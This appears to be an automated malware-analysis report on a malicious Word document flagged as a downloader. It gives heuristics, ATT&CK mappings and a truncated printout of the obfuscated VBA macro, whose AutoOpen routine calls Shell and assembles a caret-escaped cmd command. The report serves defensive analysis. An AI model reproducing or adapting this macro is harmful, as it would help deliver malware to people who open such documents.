MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening. The macro attempts to download and execute a second-stage payload using the Shell function, indicating a downloader or droppper functionality. The ClamAV detection name 'Doc.Downloader' further supports this assessment.
Heuristics 5
-
ClamAV: Doc.Downloader.00536d-6692487-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6692487-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17570 bytes |
SHA-256: c84a3d3963875350eaa54e538278031a29655b103e78aebb8a4905e652af99b3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jnunpsGvwrXoD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const GYAkNdKwCzY = 0
Dim uHHuG(3)
uHHuG(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
uHHuG(1) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448)
uHHuG(2) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
Dim nqkGr(5)
nqkGr(0) = Left(lbPlMf, 519) + Right(qRiYvAz, 448) + Left(lbPlMf, 519) + Left(lbPlMf, 519)
nqkGr(1) = MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543)
nqkGr(2) = MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
nqkGr(3) = Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519)
nqkGr(4) = MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
Dim iujLV(2)
iujLV(0) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
iujLV(1) = Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543)
Dim HcMRL(3)
HcMRL(0) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
HcMRL(1) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543)
HcMRL(2) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
Shell@ sNiYTStIRiI + oRLlHQzcKK + boApoHhD, GYAkNdKwCzY
Dim uAPmT(2)
uAPmT(0) = Left(lbPlMf, 519) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
uAPmT(1) = Left(lbPlMf, 519) + Left(lbPlMf, 519) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
Dim zMZkK(4)
zMZkK(0) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
zMZkK(1) = MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
zMZkK(2) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
zMZkK(3) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
End Sub
Attribute VB_Name = "zjSHJABGq"
Function sNiYTStIRiI()
Dim mtIhZ(2)
mtIhZ(0) = MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
mtIhZ(1) = Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
Dim GhnjI(5)
GhnjI(0) = MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448) + Left(lbPlMf, 519)
GhnjI(1) = Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
GhnjI(2) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262)
GhnjI(3) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
GhnjI(4) = Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Left(lbPlMf, 519)
Dim mDnOt(2)
mDnOt(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
mDnOt(1) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
Dim JPdqDn(4)
JPdqDn(0) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
JPdqDn(1) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
JPdqDn(2) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
JPdqDn(3) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543)
znqkQzL = CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "md /V/" + CStr(Chr(CleanString(12 + 11 + 11 + 12 + 21))) + CStr(Chr(CleanString(5 + 5 + 5 + 5 + 14))) + "^" + "s^e^t m^J" + "^WN=^ ^ " + " ^ ^ ^" + " ^ ^ " + "^ ^ ^" + " ^ ^}^}^{h" + CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "^ta" + CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "^}^;k"
Dim uPqwli(4)
uPqwli(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543)
uPqwli(1) = Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519)
uPqwli(2) = Left(lbPlMf, 519) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
uPqwli(3) = Right(qRiYvAz, 448) + Right(qRiYvAz, 448)
Dim TMukc(2)
TMukc(0) = L
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.